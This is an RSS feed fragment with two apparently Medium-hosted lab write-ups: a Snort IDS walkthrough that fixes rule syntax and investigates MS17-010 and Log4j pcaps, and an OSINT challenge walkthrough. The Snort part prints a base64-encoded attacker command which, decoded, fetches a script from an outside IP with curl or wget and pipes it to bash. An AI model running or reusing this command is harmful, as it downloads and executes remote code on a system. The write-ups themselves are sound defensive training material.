the detected packets?</h4><p>We need to fix the syntax error in this task.</p><p>Let’s investigate the hint:</p><blockquote>Spaces matters!</blockquote><p>Allright before we begin I want to execute test command and see the results:</p><p>sudo snort -c local-1.rules -r mx-1.pcap -A console</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*nVHjicM_CWS0Y3Lphri9fQ.png" /></figure><p>Oke. Let’s see the local-1.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*p0XuEHFYEKdnHJMHzKQ6Iw.png" /></figure><p>It seems a space required between “any” and “(“</p><p>Let’s fix it and run it again.</p><blockquote>alert tcp any 3372 -&gt; any any (msg: “Troubleshooting 1”; sid:1000001; rev:1;)</blockquote><p>Oke. Everything is perfect and we found the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*AvODVXEnby3MoKdKjqkDSQ.png" /></figure><p>The answer is : <strong>16</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMOHKaCVO2NeZ5tchhYjlA.png" /></figure><h4>Fix the syntax error in <strong>local-2.rules</strong> file and make it work smoothly.</h4><h4>What is the number of the detected packets?</h4><p>Let’s investigate the hint first:</p><blockquote>Don’t forget the ports! (any)</blockquote><p>And let’s look at the local-2.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*NptEPKp8YxUDW4wc8TZ7tQ.png" /></figure><p>There is 1 port missing at the Source(left) section.</p><p>Let’s fix it</p><blockquote>alert icmp any any -&gt; any any (msg: “Troubleshooting 2”; sid:1000001; rev:1;)</blockquote><p>and execute the command.</p><blockquote>sudo snort -c local-2.rules -r mx-1.pcap -A console</blockquote><p>Here are our alerts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*IRirpYi8t4ye_Wjt1Jnb2A.png" /></figure><p>The answer is : <strong>68</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3544E_aqlWn7RQP2f-VWQw.png" /></figure><h4>Fix the syntax error in <strong>local-3.rules</strong> file and make it work smoothly.</h4><h4>What is the number of the detected packets?</h4><p>Let’s investigate the hint:</p><blockquote>SIDs should be unique!</blockquote><p>And let’s look at the local-3.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*aeht7QkPEfuwLHABJ1sulg.png" /></figure><p>There are 2 rules here but they have the same SID number. So we need to change one of the SID number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*PuQSXkke57azsu0wjR_4Og.png" /></figure><p>Change it from 10000001 to 10000002 and run the command:</p><blockquote>sudo snort -c local-3.rules -r mx-1.pcap -A console</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*co0LGgVmLJgDrO-A1S_iXg.png" /></figure><p>The answer is : <strong>87</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nKiZtGbJvwBscmG3IrpB-w.png" /></figure><h4>Fix the syntax error in <strong>local-4.rules</strong> file and make it work smoothly.</h4><h4>What is the number of the detected packets?</h4><p>Let’s investigate the hint:</p><blockquote>Semicolons matters!</blockquote><p>And let’s look at the local-4.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*XUdMM-AADbDQIIhs0jdauw.png" /></figure><p>It seems there is colon(:) instead of semicolon(;) at the line 9. We need to change it. Also we need to change the SID number again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*GBJMcEwrWZ8Q77ln8aiCAw.png" /></figure><p>After fix, save&amp;exit. Execute the command.</p><blockquote>sudo snort -c local-4.rules -r mx-1.pcap -A console</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*5MTpA31-IR9RwCA4d6srnQ.png" /></figure><p>The answer is : <strong>90</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvDd_iIGLoT_iWMdqaNFoA.png" /></figure><h4>Fix the syntax error in <strong>local-5.rules</strong> file and make it work smoothly.</h4><h4>What is the number of the detected packets?</h4><p>Let’s investigate the hint:</p><blockquote>Direction and colons! (-&gt;)</blockquote><p>And let’s look at the local-5.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*1PxHwRPyDj7_lZOKoqXb1g.png" /></figure><p>The wrong parts are :</p><ul><li>Direction is wrong at the line 9</li><li>Semicolon(;) used instead of colon(:) at the line 9</li><li>Colon(:) used, instead of semicolon(;) at the line 10</li></ul><p>Fixed version is like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*lAmrlxqju6UGcUzQxZKxGg.png" /></figure><p>Now run the command to see the results</p><blockquote>sudo snort -c local-5.rules -r mx-1.pcap -A console</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*7glO91ojlhLrCrYlPWZI1A.png" /></figure><p>The answer is : <strong>155</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0RxuWanvJzngvgZIAVRMA.png" /></figure><h4>Fix the logical error in <strong>local-6.rules</strong> file and make it work smoothly to create alerts.</h4><h4>What is the number of the detected packets?</h4><p>Let’s investigate the hint:</p><blockquote>Case sensitivity matters! Use the capitals or nocase!</blockquote><p>And let’s look at the local-6.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*apG-TY27BB8FI6uJ46FAMw.png" /></figure><p>This rule works but can’t find any alert. We need to find the “GET” requests. But in order to do that we need capitalized or in lowercase. So we will add the option “nocase” in the rule.</p><blockquote>alert tcp any any &lt;&gt; any 80 (msg: “GET Request Found”; content:”|67 65 74|”; nocase; sid: 100001; rev:1;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*Dv90mlYFHJ2FU8v4F8WNug.png" /></figure><p>Let’s execute the command to get alerts.</p><blockquote>sudo snort -c local-6.rules -r mx-1.pcap -A console</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*KZSFZXeE499Iz2JAVc6UIA.png" /></figure><p>The answer is : <strong>2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPKrE6hL4zmA1if7U08MJA.png" /></figure><h4>Fix the logical error in <strong>local-7.rules</strong> file and make it work smoothly to create alerts.</h4><h4>What is the name of the required option:</h4><p>Let’s investigate the hint:</p><blockquote>Rules without messages doesn’t make sense!</blockquote><p>And let’s look at the local-7.rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*aFCG2rLiH4jVSqNeBxedcw.png" /></figure><p>Oke. Message is missing in this content. No problem.</p><p>Let’s convert this hex numbers to ASCII strings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*1dD602MhCF4FoIE1pqNmsA.png" /></figure><p>We found “.html”. So apperantly we’re looking the html files in this rule.</p><p>We can change this rule like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*bNgeGWJQ2ejhzkyEyhHfhw.png" /></figure><p>But the question is what part is missing in the rules file?</p><p>The answer is : <strong>msg</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MIoBEWYAIDxB6Cp5_bow_w.png" /></figure><h3>TASK 7 - Using External Rules (MS17–010)</h3><p>Let’s use external rules to fight against the latest threats!</p><p>Let’s go to TASK-7 (MS17–10) file and start to solve challenges.</p><h4>Use the given pcap file.</h4><h4>Use the given rule file (<strong>local.rules</strong>) to investigate the ms1710 exploitation.</h4><h4>What is the number of detected packets?</h4><p>In this section local.rules is ready to execute.</p><p>Let’s run command to get alerts</p><blockquote>sudo snort -A full -c local.rules -r ms-17–010.pcap</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*CgiNXBtJgvDvBSEdvJ0juQ.png" /></figure><p>The answer is : <strong>25154</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mb2OJ3YIqmEeOKLsNddabw.png" /></figure><h4><strong>Clear the previous log and alarm files.</strong></h4><h4>Use <strong>local-1.rules</strong> empty file to write a new rule to detect payloads containing the “<strong>\IPC$</strong>” keyword.</h4><h4>What is the number of detected packets?</h4><p>local-1.rules file is empty right now. Let’s open local.rules file and find <strong>\IPC$</strong> related rules and add into local-1.rules.</p><p>We found 2 IPC$ related rules at local.rules file but they are identical.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ys9IJmmdCf5JKUZFEJfKpQ.png" /></figure><p>Let’s add one of this rules into local-1.rules file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwLUR-AXiFwGGJ2abUi9Rw.png" /></figure><p>And run command to get alerts</p><blockquote>sudo snort -A full -c local-1.rules -r ms-17–010.pcap</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*yli0dRJzL6q9M-cEScsLAA.png" /></figure><p>We found 12 alerts.</p><p>The answer is : <strong>12</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGV-QJrhGgTsetx7FxvqJQ.png" /></figure><h4>Investigate the log/alarm files.</h4><h4>What<strong> </strong>is the requested path?</h4><p>Let’s investigate the hint first:</p><blockquote>Ends with “\IPC$”</blockquote><p>It says the requested path end with “\IPC$”. So let’s find the strings in the pcap file and grep “IPC”</p><blockquote>sudo strings ms-17–010.pcap | grep IPC</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*5K1qZ9Vyz9nKEcxxGevJfg.png" /></figure><p>Here, we found it.</p><p>The answer is : <strong>192.168.116.138\IPC$</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0xfXJH_iUDsybrG423V1Q.png" /></figure><h4>What is the CVSS v2 score of the MS17–010 vulnerability?</h4><p>A simple google search would give us the result.</p><p>Let’s search MS12–010 CVSS score and click the NVD site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*SFe4P6tcwN5ILAhmoHf9MA.png" /></figure><p>Change the metric to CVSS 2 and we found the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*T_l9sCnJkM9js_BsACF9fQ.png" /></figure><p>The answer is : <strong>9.3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PgdjcGFD8ViBaa4iDdhRg.png" /></figure><h3>TASK 8 - Using External Rules (Log4j)</h3><p>Let’s use external rules to fight against the latest threats!</p><h4>Use the given pcap file.</h4><h4>Use the given rule file (<strong>local.rules</strong>) to investigate the log4j exploitation.</h4><h4>What is the number of detected packets?</h4><p>In this section local.rules is ready to execute.</p><p>Let’s run command to get alerts</p><blockquote>sudo snort -A full -c local.rules -r log4j.pcap</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*e7qcy7J_41Rnxy-WtFLydQ.png" /></figure><p>Here are our alerts.</p><p>The answer is : <strong>26</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sii5YvWqHTpMul1EISh3bw.png" /></figure><h4>Investigate the log/alarm files.</h4><h4>How many rules were triggered?.</h4><p>We can see from previous output that how many rules were triggered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*Tzz_LbCUxfwVd7ASOGHGMw.png" /></figure><p>The answer is : <strong>4</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bafeacu1H2oF_FjitBVXg.png" /></figure><h4>Investigate the log/alarm files.</h4><h4>What are the first six digits of the triggered rule sids?</h4><p>We can find the Sid numbers from the local.rules files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYx1bkI1JHAcP1dHrgujZQ.png" /></figure><p>We can find it from file manually or we can use grep</p><blockquote>sudo cat local.rules | grep sid:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*jf37Bvtd9kgyH76WvpzWTQ.png" /></figure><p>The question wants to know first 6 digits and first 6 digits are identical at the all sids.</p><p>The answer is : <strong>210037</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kliPP_w7uY4xpHxUJzoL8g.png" /></figure><h4><strong>Clear the previous log and alarm files.</strong></h4><h4>Use <strong>local-1.rules</strong> empty file to write a new rule to detect packet payloads <strong>between 770 and 855 bytes</strong>.</h4><h4>What is the number of detected packets?</h4><p>We need to clear logs and alarms file first.</p><p>After that, let’s investigate the hint:</p><blockquote>The “dsize” option will help you to filter the payload size.</blockquote><p>It says “dsize” option help us to filter the payload size.</p><p>Let’s open the local-1.rules file and add a rule to detect packet payloads between 770 and 855 bytes.</p><blockquote>alert tcp any any -&gt; any any (msg: “Pkg payload size 770 and 855 bytes detected”; dsize: 770&lt;&gt;855; sid: 100001;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bPj4FE5s4F1xH_7qV5FpOQ.png" /></figure><p>Let’s run command to get alerts but this time we need to see alerts for follow up questions. So let’s add -l parameter to our command.</p><blockquote>sudo snort -A full -c local-1.rules -r log4j.pcap -l .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*E_jW7a9_-_qUYuhIYXOPLw.png" /></figure><p>The answer is : <strong>41</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ETogE6yCUXWAuM36P7KGA.png" /></figure><h4>Investigate the log/alarm files.</h4><h4>What<strong> </strong>is the name of the used encoding algorithm?</h4><p>We need to investigate the log file for answer this question.</p><p>Let’s find the strings in the logs file.</p><blockquote>sudo strings snort.log.1723130843</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*BfPe3Hb-XErc5aYiewx9Uw.png" /></figure><p>We found Base64 in the log file.</p><p>The answer is : <strong>Base64</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*svN5hTjPeI-VqeiP6vydLA.png" /></figure><h4>Investigate the log/alarm files.</h4><h4>What<strong> </strong>is the IP ID of the corresponding packet?</h4><p>We need to find 45.1555.205.233 in the alert file and their id.</p><p>We need to find strings in alert file and we need to grep to find.</p><blockquote>sudo strings alert | grep -e 45.155.205.233 -e ID</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*NoAm5sk32Bpnm2rYqdrfTw.png" /></figure><p>We found.</p><p>The answer is : <strong>62808</strong></p><h4>Investigate the log/alarm files.</h4><h4>Decode the encoded command.</h4><h4>What is the attacker’s command?</h4><p>Let’s find the encoded command first.</p><p>We need to look at the strings in alert file again.</p><blockquote>sudo strings snort.log.1723130843</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*lBrVsjRzlzfzfPy-ggKjGQ.png" /></figure><p>We found the command.</p><blockquote>KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=</blockquote><p>Now we need to decode base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*MzD-fRAz6mTFPkPwarefzQ.png" /></figure><p>The answer is :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emBULwA22M0zaEE1ivo2cQ.png" /></figure><h4>What is the CVSS v2 score of the Log4j vulnerability?</h4><p>A simple google search would give us the result.</p><p>Let’s search Log4J CVSS score and click the NVD site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*TIsi1sqVQ4OUR2uuatYgQQ.png" /></figure><p>Change the metric to CVSS 2 and we found the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJs-GO6efEnSde3do8U8TA.png" /></figure><p>The answer is : <strong>9.3</strong></p><h3>Conclusion</h3><p>Finally we finished this room.</p><p>Thank you for your support.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63a59d0580ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders Intel101 Lab]]></title>
            <link>https://medium.com/@keraattin/cyberdefenders-intel101-lab-512ad5e748c4?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/512ad5e748c4</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Sat, 03 Aug 2024 12:03:11 GMT</pubDate>
            <atom:updated>2024-08-03T12:03:11.876Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone,</p><p>In this write-up I’ll try to explain answers of<a href="https://cyberdefenders.org/labs/38"> Intel101-Open Source Intelligence</a> lab’s on <a href="https://cyberdefenders.or/">CyberDefenders</a>. In this lab they are expecting to use our OSINT skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*Mh5uzPLrXK_1u4ybd36D8Q.png" /></figure><h4><strong>Q1-Who is the Registrar for jameskainth.com?</strong></h4><p>For the solution of this question, lets go to <a href="https://lookup.icann.org/lookup">https://lookup.icann.org/lookup</a> and search jameskainth.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FG7810rIKoz8EXXYtJA6dg.png" /></figure><p>We found the answer. The registar for jameskainth.com is <strong>namecheap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*NtAUqw05--y2VPk6W7Xdyg.png" /></figure><h4><strong>Q2-If you click the first link in the main text of any Wikipedia article and continue to do this, it will lead you to which Wikipedia Article?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDj2tCY0oy7st9LSdnWDmA.png" /></figure><p><a href="https://en.wikipedia.org/wiki/Point_and_click">Clicking</a> on the first <a href="https://en.wikipedia.org/wiki/Help:Link">link</a> in the main text of a <a href="https://en.wikipedia.org/wiki/Wikipedia">Wikipedia</a> article, and then repeating the process for subsequent articles, usually leads to the <a href="https://en.wikipedia.org/wiki/Philosophy">Philosophy</a> article. In February 2016, this was true for 97% of all articles in Wikipedia, an increase from 94.52% in 2011. The remaining articles lead to an article without any outgoing wikilinks, to pages that do not exist, or get stuck in loops.</p><p>We found the answer. The answer is <strong>Philosophy</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*OXYCXoGy3p6A6Etik4HLQg.png" /></figure><h4><strong>Q3-You get a phone call from this number: 855–707–7328, they were previously known by another name?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*St32zfWgUvUEKK7neTZesw.png" /></figure><p>Lets go to <a href="https://lookup.robokiller.com/p/855-707-7328">https://lookup.robokiller.com/</a> and search the number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*pDy_ij6wyAz8NKkRdlDIvw.png" /></figure><p>Looks like the number belongs the Spectrum Cable Tv but it is not answer for our question. They asking for previously known name. <strong>The answer is Time Warner Cable</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*z69Eq4Pb9pudW_tvOhHV9A.png" /></figure><h4><strong>Q4-What is the Zoom meeting id of the British Prime Ministers Cabinet Meeting?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0242yY8ROiSgPygYWKLkPw.png" /></figure><p>I did quick google search and i found this image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/0*hvBYhKpSSg7k_E39.jpeg" /></figure><p>And i think we found the answer. The answer is <strong>539544323</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*8tnnq3u_NB2nODI_L6Ef2A.png" /></figure><h4>Q5-What Percentage of full-time degree-seeking freshmen from the fall of 2018 re-enrolled to Champlain in the fall of 2019?</h4><h4><strong>Q6-Champlain College Has A Public Excel Sheet Listing Addresses Of Campus Locations Available on The Internet, what’s the SHA256 hash of it?</strong></h4><p>To solve this question, we could use google dorks or google advanced search.<br>I did search xlsx files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*D9XbXrsTi9A3HpekIWuBkQ.png" /></figure><p>After downloading the xlsx file, there are many ways to find get sha256 sum of the file. I used PS/CMD utils.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*lV-QALi0X1nwxCZla14uJQ.png" /></figure><p>And we found the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*Sm5dWKoGjtNdczkLfGwEIA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=512ad5e748c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>